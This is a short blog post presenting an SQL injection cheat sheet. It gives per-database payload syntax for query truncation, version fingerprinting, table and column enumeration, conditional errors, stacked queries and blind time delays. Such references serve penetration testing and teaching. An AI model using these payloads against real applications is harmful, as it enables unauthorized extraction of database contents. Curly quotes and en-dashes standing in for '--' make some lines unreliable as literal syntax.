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New SQL Cheat Sheets 2019

The SQL injection cheat sheet

Hi, i am shahid Malla and here i have a new article for you on SQL injection cheat sheet contains examples of the useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

here what you can concatenate together multiple strings to make a single string.

Oracle‘foo’||’bar’
Microsoft‘foo’+’bar’
PostgreSQL‘foo’||’bar’
MySQL‘foo’ ‘bar’ [Note the space between the two strings]
CONCAT(‘foo’,’bar’)

Comments of Query

Here may you can use the comments to truncate a query and remove the portion of the original query that follows your input.

Oracle–comment
Microsoft–comment
/*comment*/
PostgreSQL–comment
/*comment*/
MySQL#comment
— comment [Note the space after the double dash]
/*comment*/

Database versions and lite information

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Database contents Views

to extract list the tables that exist in the database, and the columns that those tables contain.

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),’a’)

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLDoes not support batched queries.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracledbms_pipe.receive_message((‘a’),10)
MicrosoftWAITFOR DELAY ‘0:0:10’
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’||dbms_pipe.receive_message((‘a’),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),’a’)

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